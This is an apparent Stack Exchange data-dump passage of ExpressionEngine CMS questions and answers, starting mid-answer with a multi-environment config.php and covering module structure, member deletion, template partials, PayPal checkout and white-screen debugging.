PHP and MySQL setting issues are caught early on and relying on IP addresses is difficult at best when doing this. Plus it's more human readable so you know what the development, staging, and production servers are. I am also a single developer so I don't setup a local production server where multiple devs can sync their efforts. You can easily add one by duplicating one of the switch cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more about some of the other hidden config variables in this config file, or others you can add at your own discretion, I would recommend this &lt;a href=&quot;http://devot-ee.com/ee-config-vars&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; on devot-ee. Te EE docs cover some variables but this page documents previously undocumented one that can be very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that this is by far the only DRY config.php setup around. &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/blob/master/readme.textile&quot; rel=&quot;nofollow&quot;&gt;Focus Lab LLC’s EE Master Config&lt;/a&gt; is a very competent setup for doing the same thing and it sits above the web root which makes it easier to find and edit. Another popular approach is &lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot; rel=&quot;nofollow&quot;&gt;NSM Config Bootstrap&lt;/a&gt;. To each their own. I decided to start with something basic and add to is while I learn more about what's really going on under the hood.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Environmental Variables&#xA;-------------------------------------------------------------------*/&#xA;switch ( $_SERVER['HTTP_HOST'] ) {&#xA;&#xA;    // development&#xA;    case 'mysite.dev' :&#xA;    $db['expressionengine']['hostname'] = &quot;&quot;;&#xA;    $db['expressionengine']['username'] = &quot;&quot;;&#xA;    $db['expressionengine']['password'] = &quot;&quot;;&#xA;    $db['expressionengine']['database'] = &quot;&quot;;&#xA;    break;&#xA;&#xA;    // staging&#xA;    // case 'staging.mysite.com' :&#xA;    // $db['expressionengine']['hostname'] = &quot;&quot;;&#xA;    // $db['expressionengine']['username'] = &quot;&quot;;&#xA;    // $db['expressionengine']['password'] = &quot;&quot;;&#xA;    // $db['expressionengine']['database'] = &quot;&quot;;&#xA;    // break;&#xA;&#xA;    // live&#xA;    // case 'mysite.com' :&#xA;    // $db['expressionengine']['hostname'] = &quot;&quot;;&#xA;    // $db['expressionengine']['username'] = &quot;&quot;;&#xA;    // $db['expressionengine']['password'] = &quot;&quot;;&#xA;    // $db['expressionengine']['database'] = &quot;&quot;;&#xA;    // break;&#xA;&#xA;}&#xA;&#xA;/* Universal Variables&#xA;-------------------------------------------------------------------*/&#xA;$config['app_version'] = &quot;253&quot;;&#xA;$config['license_number'] = &quot;1111-2222-3333-4444&quot;;&#xA;$config['debug'] = &quot;1&quot;;&#xA;$config['install_lock'] = &quot;&quot;;&#xA;$config['system_folder'] = &quot;system&quot;;&#xA;$config['admin_file'] = &quot;admin.php&quot;;&#xA;$config['doc_url'] = &quot;http://expressionengine.com/user_guide/&quot;;&#xA;$config['is_system_on'] = &quot;y&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['site_name'] = &quot;Default EE install&quot;;&#xA;$config['allow_extensions'] = &quot;y&quot;;&#xA;$config['enable_db_caching'] = &quot;y&quot;;&#xA;$config['debug'] = &quot;1&quot;;&#xA;$config['daylight_savings'] = date('I') ? 'y' : 'n'; // Autodetect DST&#xA;$config['cp_session_ttl'] = 3600; // Keep admins logged in for one hour! (in seconds)&#xA;&#xA;/* General Path Settings&#xA;-------------------------------------------------------------------*/&#xA;$config['site_index'] = &quot;&quot;;&#xA;$config['site_url'] = &quot;http://&quot;.$_SERVER['HTTP_HOST'];&#xA;$config['server_path'] = $_SERVER['DOCUMENT_ROOT'];&#xA;// $config['cp_url'] = $config['site_url'].&quot;/&quot;.$config['system_folder']; // use if keeping system within root&#xA;$config['cp_url'] = $config['site_url'].&quot;/&quot;.$config['admin_file']; // use if moving system one level above root&#xA;&#xA;/* Universal database connection settings&#xA;-------------------------------------------------------------------*/&#xA;$active_group = 'expressionengine';&#xA;$active_record = TRUE;&#xA;$db['expressionengine']['dbdriver'] = &quot;mysql&quot;;&#xA;$db['expressionengine']['dbprefix'] = &quot;exp_&quot;;&#xA;$db['expressionengine']['pconnect'] = FALSE;&#xA;$db['expressionengine']['swap_pre'] = &quot;exp_&quot;;&#xA;$db['expressionengine']['db_debug'] = FALSE;&#xA;$db['expressionengine']['cache_on'] = FALSE;&#xA;$db['expressionengine']['autoinit'] = FALSE;&#xA;$db['expressionengine']['char_set'] = &quot;utf8&quot;;&#xA;$db['expressionengine']['dbcollat'] = &quot;utf8_general_ci&quot;;&#xA;$db['expressionengine']['cachedir'] = $config['cp_url'].&quot;/expressionengine/cache/db_cache/&quot;;&#xA;&#xA;/* Member directory paths and urls&#xA;-------------------------------------------------------------------*/&#xA;$config['avatar_url'] = $config['site_url'].&quot;/images/avatars/uploads/&quot;;&#xA;$config['avatar_path'] = $config['server_path'].&quot;/images/avatars/uploads/&quot;;&#xA;$config['photo_url'] = $config['site_url'].&quot;/images/member_photos/&quot;;&#xA;$config['photo_path'] = $config['server_path'].&quot;/images/member_photos/&quot;;&#xA;$config['sig_img_url'] = $config['site_url'].&quot;/images/signature_attachments/&quot;;&#xA;$config['sig_img_path'] = $config['server_path'].&quot;/images/signature_attachments/&quot;;&#xA;$config['prv_msg_upload_path'] = $config['server_path'].&quot;/images/pm_attachments/&quot;;&#xA;&#xA;/* Misc directory paths and urls&#xA;-------------------------------------------------------------------*/&#xA;$config['theme_folder_url'] = $config['site_url'].&quot;/themes/&quot;;&#xA;$config['theme_folder_path'] = $config['server_path'].&quot;/themes/&quot;;&#xA;&#xA;/* File directory paths and urls&#xA;-------------------------------------------------------------------*/&#xA;// $config['upload_preferences'] = array(&#xA;//     1 =&amp;gt; array(&#xA;//         'name'        =&amp;gt; 'name of directory',&#xA;//         'server_path' =&amp;gt; $config['server_path'].&quot;/assets/path/to/directory/&quot;,&#xA;//         'url'         =&amp;gt; $config['site_url'].&quot;/assets/path/to/directory&quot;&#xA;//     )&#xA;// );&#xA;&#xA;/* Templates Preferences&#xA;-------------------------------------------------------------------*/&#xA;// $config['save_tmpl_files'] = &quot;y&quot;;&#xA;// $config['tmpl_file_basepath'] = $config['server_path'].&quot;/templates/&quot;;&#xA;$config['site_404'] = &quot;404/index&quot;;&#xA;$config['strict_urls'] = &quot;y&quot;;&#xA;$config['hidden_template_indicator'] = &quot;_&quot;;&#xA;$config['autosave_interval_seconds'] = &quot;99999&quot;;&#xA;$config['word_separator'] = &quot;underscore&quot;;&#xA;&#xA;// END EE config items&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-04T15:35:27.647" LastActivityDate="2012-12-04T15:35:27.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1070" PostTypeId="1" CreationDate="2012-12-04T12:19:30.583" Score="7" ViewCount="301" Body="&lt;p&gt;I'm developing an EE module and I want to follow OOP best practices and fulfil the MVC architectural pattern, I have a few questions about how to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where should I define a PHP Class for business logic inside a Module?&lt;/li&gt;&#xA;&lt;li&gt;What are some examples of existing add-ons that are written in a fully OOP style?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="310" LastEditorUserId="104" LastEditDate="2012-12-04T22:17:17.907" LastActivityDate="2012-12-04T22:17:17.907" Title="Module development: how to follow OOP best practices" Tags="|module|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1071" PostTypeId="2" ParentId="1070" CreationDate="2012-12-04T12:49:01.287" Score="10" Body="&lt;p&gt;If you're looking to stick with CodeIgniter's pattern for OOP (which is very standard) you would have your data methods in one or more models, your view files (for a control panel interface) in a views directory and your two module files (&lt;code&gt;mcp.*&lt;/code&gt; and &lt;code&gt;mod.*&lt;/code&gt;) would act as your two controllers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, your directory structure might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/mcp.addon.php (controller/logic)&#xA;/mod.addon.php (controller/logic)&#xA;/models/&#xA;/models/addon_model.php (data/model)&#xA;/views/&#xA;/views/index.php (a control panel view file)&#xA;/views/settings.php (view file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When an add-on is large or needs some portable logic we tend to write libraries/classes outside of the &lt;code&gt;mod&lt;/code&gt; or &lt;code&gt;mcp&lt;/code&gt; files. You don't have to put everything in those controller files if you see a need to do otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for an example, you can look at one of our add-ons, Dev Docs, to see code layout. Each add-on &quot;type&quot; (extension, module, etc) is a controller of its own. Then subdirectories contain other code as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/focuslabllc/dev_docs.ee_addon&quot;&gt;https://github.com/focuslabllc/dev_docs.ee_addon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2012-12-04T12:49:01.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1072" PostTypeId="2" ParentId="1034" CreationDate="2012-12-04T12:50:35.907" Score="5" Body="&lt;p&gt;Member data is stored in (at least) 3 tables: &lt;code&gt;exp_members&lt;/code&gt;, &lt;code&gt;exp_member_data&lt;/code&gt; and &lt;code&gt;exp_member_homepage&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use SQL to delete the members from these tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The safest way to delete them is to the the member model's &lt;code&gt;delete_member&lt;/code&gt; method. This will make sure any relevant extensions are also run, clean up all the database tables (eg, if the member had posted an entry or comment) and update any stats.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('member_model');&#xA;$this-&amp;gt;EE-&amp;gt;member_model-&amp;gt;delete_member( $member_id_array );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've built a very quick plugin to delete pending members here: &lt;a href=&quot;https://bitbucket.org/ajweaver/ajw_delete_members&quot;&gt;https://bitbucket.org/ajweaver/ajw_delete_members&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I have tested it, but please &lt;strong&gt;take a database backup&lt;/strong&gt; before trying it!)&lt;/p&gt;&#xA;" OwnerUserId="253" LastActivityDate="2012-12-04T12:50:35.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1073" PostTypeId="1" AcceptedAnswerId="1126" CreationDate="2012-12-04T12:52:33.913" Score="1" ViewCount="151" Body="&lt;p&gt;Latest EE and Latest Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've setup PayPal Express in settings and have &lt;code&gt;{exp:store:checkout payment_method=&quot;paypal_express&quot;}&lt;/code&gt; on the final checkout page. I have the submit button as &lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Your Order&quot;&amp;gt;&lt;/code&gt;. When I click the button nothing happens. I was expecting to be whisked over to PayPal. Any ideas what I've missed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;br&gt;&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="77" LastEditDate="2012-12-04T14:56:14.033" LastActivityDate="2012-12-05T00:20:52.577" Title="Store PayPal not working" Tags="|add-on|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1074" PostTypeId="2" ParentId="1062" CreationDate="2012-12-04T13:07:34.123" Score="2" Body="&lt;p&gt;You'll probably want a custom query, where you use the &lt;code&gt;SELECT DISTINCT&lt;/code&gt; statement. I'm not certain how you're creating the PR-Rooms, but something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT m.screen_name, m.member_id FROM exp_members m LEFT JOIN exp_channel_titles c ON m.member_id=c.author_id ORDER BY c.entry_date DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might get you started. Be careful with the &lt;code&gt;LEFT JOIN&lt;/code&gt; vs &lt;code&gt;RIGHT JOIN&lt;/code&gt;, I didn't test to see which would get you the best results. But basically, a query like this, will get you the member name and their member_id, based on the descending order of the last channel title they created. The &lt;code&gt;DISTINCT&lt;/code&gt; limits the results to one return per screen_name and member_id.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-04T13:07:34.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1075" PostTypeId="2" ParentId="1062" CreationDate="2012-12-04T13:52:02.400" Score="0" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; &lt;em&gt;I assumed you wanted to make sure you only had a single entry from each of your channels, but on re-reading your question again I see that's not a requirement. My original answer was therefore overcomplicated, but I'm leaving it here in case it proves of use to someone&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caveat Lector!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So I think the smart way to do this is with &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; and a &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;template partials&lt;/a&gt; style approach, as we can grab all the content we need for output and grab the &lt;code&gt;author_id&lt;/code&gt; we need in one pass of a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag per channel, and use a single &lt;code&gt;embed&lt;/code&gt; for output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- we need type=&quot;snippet&quot; for parse order stuff, and to parse_tags=&quot;yes&quot; so we can grab the rendered output for later--}&#xA;{exp:stash:set parse_tags=&quot;yes&quot; type=&quot;snippet&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;channel_2&quot;&#xA;    disable=&quot;custom_fields|categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    limit=&quot;1&quot;&#xA;  }&#xA;    {!-- grab the author_id for this entry so we can skip it in next entries tag--}&#xA;    {stash:channel_1_author}{author_id}{/stash:channel_1_author}&#xA;    {!-- stash the actual content that you want to output later--}&#xA;    {stash:content_1}&#xA;      &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/stash:content_1}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;{exp:stash:set parse_tags=&quot;yes&quot; type=&quot;snippet&quot;}&#xA;    {!-- now pass our author_id with &quot;not&quot; as a param to the second entrieds tag--}&#xA;  {exp:channel:entries&#xA;    channel=&quot;channel_2&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    disable=&quot;custom_fields|categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;    limit=&quot;1&quot;&#xA;    author_id=&quot;not {channel_1_author}&quot;&#xA;  }&#xA;    {stash:channel_2_author}{author_id}{/stash:channel_2_author}&#xA;    {stash:content_2}&#xA;      &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/stash:content_2}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{!-- use an embed to handle our output (in which all our fresh tasty snippets will now be available--}&#xA;{embed=&quot;embed/path&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {content_1}&#xA;  {content_2}&#xA;  {content_3}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes you could &lt;em&gt;probably&lt;/em&gt; do all this with a custom query, but you're going to end up with an unreadable mess and (probably) multiple &lt;code&gt;embed&lt;/code&gt;s as well due to parse order issues. IMO this way is much cleaner, and makes your intent more readable to the next developer/when you return to your code in 6 months time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to work out if there is a way to do this with only a single channel entries tag for all four entries, but haven't figured it out yet (as we need to make sure we've got 4 entries from unique channels &lt;strong&gt;and&lt;/strong&gt; that each is from a unique author too). Because of all those &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tags make sure you use the &lt;code&gt;disable&lt;/code&gt; param aggressively and appropriate caching as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if performance is an issue with this code have a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow&quot;&gt;ActiveRecord&lt;/a&gt; addon and you may be able to pull what you need with fewer queries using that in place of &lt;code&gt;channel:entries&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-04T15:43:13.700" LastActivityDate="2012-12-04T15:43:13.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1076" PostTypeId="1" AcceptedAnswerId="1081" CreationDate="2012-12-04T14:09:39.790" Score="4" ViewCount="1180" Body="&lt;p&gt;I'm trying to sync my folders using the &quot;Sync&quot; feature in File Manager, but as soon as I press it, then on the next screen, hit Submit... I get the EE White Screen?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would it do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's only recently started doing it, but I've noticed it on a few sites I've deployed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.4.0 - Build: date  20120123&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="16" LastEditDate="2012-12-05T07:07:33.757" LastActivityDate="2013-10-29T03:00:40.500" Title="White Screen of Death Syncing Files" Tags="|ee2|error|white-screen-of-death|sync|file-manager|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1077" PostTypeId="1" AcceptedAnswerId="1080" CreationDate="2012-12-04T14:10:48.423" Score="3" ViewCount="174" Body="&lt;p&gt;When adding/deleting/editing a category in the CP, &#xA;I would like to send that data to Mailchimp (where I ultimately will have the same categories) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be achieved? Using a Action or a Hook? And how? &lt;br/&gt;&#xA;I'm reading up on making Plugins, Hooks,... but I'm not sure wich Hook I can use and where to place it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="419" LastActivityDate="2012-12-04T14:24:23.097" Title="New 'Category' Hook or Action?" Tags="|categories|add-on-development|plugin|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1078" PostTypeId="2" ParentId="1029" CreationDate="2012-12-04T14:14:27.933" Score="4" Body="&lt;p&gt;It seems as though you're creating custom fields for categories, when what you need is simply more custom fields for your channel. Category custom fields are for holding information &lt;strong&gt;about that category&lt;/strong&gt;, not about individual &lt;em&gt;channel entries&lt;/em&gt;. When you associate an entry with a category in EE, you are associating it with the singular, canonical values of that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this illustration will help clarify categories in EE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have a &lt;strong&gt;Category Group&lt;/strong&gt; called &quot;Fruit&quot;. In it, you have categories for Apples, Mangos, Grapes, Oranges, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you might add a custom field for that Category Group called &quot;Sugar Content&quot;. Now when you go to edit or create a category (Apple, Orange, etc), you have a new field called &quot;Sugar Content&quot; (alongside Category Name, Category URL Title, Category Description, and Category Image). So you enter the amount of sugar &lt;strong&gt;once&lt;/strong&gt; for each of your fruits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you might associate your &quot;Fruits&quot; Category Group with a &quot;Recipes&quot; channel, and every time you you enter a new recipe, you assign it to one or more categories in your Fruits category group. You don't edit the &quot;Sugar Content&quot; custom category field when you're adding or editing your Recipe, because the amount of sugar in each fruit doesn't change per-entry - it's constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe that helps?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-04T14:14:27.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1079" PostTypeId="1" AcceptedAnswerId="1117" CreationDate="2012-12-04T14:22:01.693" Score="2" ViewCount="302" Body="&lt;p&gt;How do I get Store to list individual items and their prices on PayPal? At the moment, the only information which is displayed on the PayPal site is the order number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="268" LastEditDate="2012-12-05T00:52:42.023" LastActivityDate="2013-06-12T10:31:47.137" Title="Expresso Store: List items on PayPal" Tags="|add-on|expresso-store|ecommerce|paypal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1080" PostTypeId="2" ParentId="1077" CreationDate="2012-12-04T14:24:23.097" Score="4" Body="&lt;p&gt;Unfortunately, there is no hook that runs after creating new categories, which is a shame. (You can find a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/index.html&quot; rel=&quot;nofollow&quot;&gt;list of available extension hooks here&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try writing an extension that uses the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/session/index.html#sessions-end&quot; rel=&quot;nofollow&quot;&gt;sessions_end hook&lt;/a&gt;, then checks for the various &lt;code&gt;$_GET&lt;/code&gt; variables that indicate that you just created a new category, but that wouldn't account for times when someone submits the &quot;new category&quot; form and receives errors, nor for when someone creates a new category via the links found on the Publish Form (which are created via AJAX).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your only alternative I believe is to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html&quot; rel=&quot;nofollow&quot;&gt;write a module&lt;/a&gt; which does this directly by polling the database (looking at &lt;code&gt;exp_categories&lt;/code&gt;) and comparing it to your MailChimp categories, then making changes as required. You would configure this using an &quot;action&quot; (which allows you to trigger your method with a URL like &lt;code&gt;http://mysite.com/?ACT=10&lt;/code&gt;), and setup a cron job on your server to run this acton periodically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-04T14:24:23.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1081" PostTypeId="2" ParentId="1076" CreationDate="2012-12-04T14:25:21.620" Score="11" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;A white screen of death normally means that a PHP error has occurred but it's being suppressed&lt;/strong&gt;&lt;/a&gt;. They should normally be shown if you are logged in as a superadmin but sometimes aren't depending on your config. Here's some things to try to make the error visible:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go into your &lt;code&gt;admin.php&lt;/code&gt; and change &lt;code&gt;$debug&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; instead of &lt;code&gt;0&lt;/code&gt; (it's under &quot;Error Reporting&quot;). Ideally do this locally or else be sure to turn off after trying it&lt;/li&gt;&#xA;&lt;li&gt;Go to Admin ‣ System Administration ‣ Output and Debugging and ensure that Debug Preference is set to 1: PHP/SQL error messages shown only to Super Admins.&lt;/li&gt;&#xA;&lt;li&gt;Go to Tools ‣ Utilities ‣ PHP Info and search the page for “display_errors”. Ensure it is set to On under the Local column. If it is not, your host can help change this setting for you.&lt;/li&gt;&#xA;&lt;li&gt;Go into your &lt;code&gt;admin.php&lt;/code&gt; and change &lt;code&gt;$debug&lt;/code&gt; to &lt;code&gt;1&lt;/code&gt; instead of &lt;code&gt;0&lt;/code&gt; (it's under &quot;Error Reporting&quot;). Ideally do this locally or else be sure to turn off after trying it&lt;/li&gt;&#xA;&lt;li&gt;Alternatively inspect the PHP error log file on your server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you then see a PHP error, update your question with the details, or if none of this works then update with that info.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="28" LastEditDate="2013-10-29T03:00:40.500" LastActivityDate="2013-10-29T03:00:40.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1082" PostTypeId="2" ParentId="1059" CreationDate="2012-12-04T14:49:40.307" Score="3" Body="&lt;p&gt;I updated Freeform to 4.0.8 which solved the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In v4.0.6 something was wrong with the attachments that should be mailed.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2012-12-04T14:49:40.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1083" PostTypeId="1" AcceptedAnswerId="1084" CreationDate="2012-12-04T14:50:30.473" Score="1" ViewCount="1437" Body="&lt;p&gt;I need to allow a member group to only view some channels (among others) in the control panel but only be able to edit some of those channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as far as I can see there is no way to assign editing permissions per channel, right? I can allow editing for all channels the member group has access to or or nothing.&lt;/p&gt;&#xA;" OwnerUserId="281" LastEditorUserId="104" LastEditDate="2012-12-04T15:52:15.290" LastActivityDate="2012-12-04T16:14:57.017" Title="Is it possible to allow a member group access to view a channel in the control panel but not publish/edit entries in it" Tags="|members|users|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1084" PostTypeId="2" ParentId="1083" CreationDate="2012-12-04T14:54:09.547" Score="2" Body="&lt;p&gt;You can assign which channels a member group can edit using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#channel-assignment&quot; rel=&quot;nofollow&quot;&gt;channel assignment section&lt;/a&gt; of the member groups permissions screen. This will restrict the member groups access for posting/editing both in the CP and via stand alone entry forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also then use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#channel-posting-and-editing-privileges&quot; rel=&quot;nofollow&quot;&gt;Channel Posting and Editing Privileges&lt;/a&gt; controls to determine whether CP users can edit/delete their own entries and view/edit/delete those of others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;strong&gt;it is not possible to make a channel accessible as &quot;read only&quot; for a member group while allowing them editing permissions on another (as I think you are looking to do) using native functionality&lt;/strong&gt;. Once you set &quot;&quot;Can edit entries authored by others&quot; for a member group they will have the ability to edit entries in all channels they have access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you could still get very close to what you want by either using a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/statuses_edit.html&quot; rel=&quot;nofollow&quot;&gt;custom status group&lt;/a&gt; and setting permissions so that editors cannot make entries live even if they can edit them, or by using a custom extension to prevent members of your editor group from submitting entries in your chosen channel. The hook you would want for this is &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-start&quot; rel=&quot;nofollow&quot;&gt;entry_submission_start&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-04T15:48:28.433" LastActivityDate="2012-12-04T15:48:28.433" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1085" PostTypeId="2" ParentId="1076" CreationDate="2012-12-04T15:26:40.540" Score="6" Body="&lt;p&gt;Another useful tip that I discovered recently is that you can actually override any &lt;code&gt;@&lt;/code&gt; suppressed errors via the &lt;a href=&quot;http://xdebug.org/docs/all_settings#scream&quot;&gt;xdebug.scream config setting&lt;/a&gt;. This isn't much use in production environments where you presumably won't have Xdebug installed (and you should be hiding any errors anyway), but if you add the following snippet to your local dev environment's php.ini you'll be able to debug even the most stubborn of white screens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xdebug.scream = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-04T15:26:40.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1086" PostTypeId="1" AcceptedAnswerId="1101" CreationDate="2012-12-04T15:28:05.547" Score="7" ViewCount="470" Body="&lt;p&gt;With template debugging enabled, clicking the &quot;show&quot; link to display the database queries isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this is related to the fact that on all pages of this site there are 7 chunks of content loaded via XHR that pass through the template parser. Because of that, the same ID &lt;code&gt;ci_profiler_queries_db_1&lt;/code&gt; is used 7 times. Since the code used to show/hide the queries relies on getElementByID, it's unable to determine which of the identical IDs is the intended one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution short of waiting on a core rewrite to use classes and more advanced js?&lt;/p&gt;&#xA;" OwnerUserId="2" LastEditorUserId="2" LastEditDate="2012-12-04T15:43:26.410" LastActivityDate="2012-12-04T21:27:55.013" Title="Database Queries in Output Profiler Won't Display" Tags="|database|javascript|debugging|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1087" PostTypeId="2" ParentId="1049" CreationDate="2012-12-04T15:31:42.333" Score="4" Body="&lt;p&gt;There used to be an addon (for EE 1.x?) that was called Redline that would show the diff between entry versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great to hear this is coming sometime in Better Workflow though!&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2012-12-04T15:31:42.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
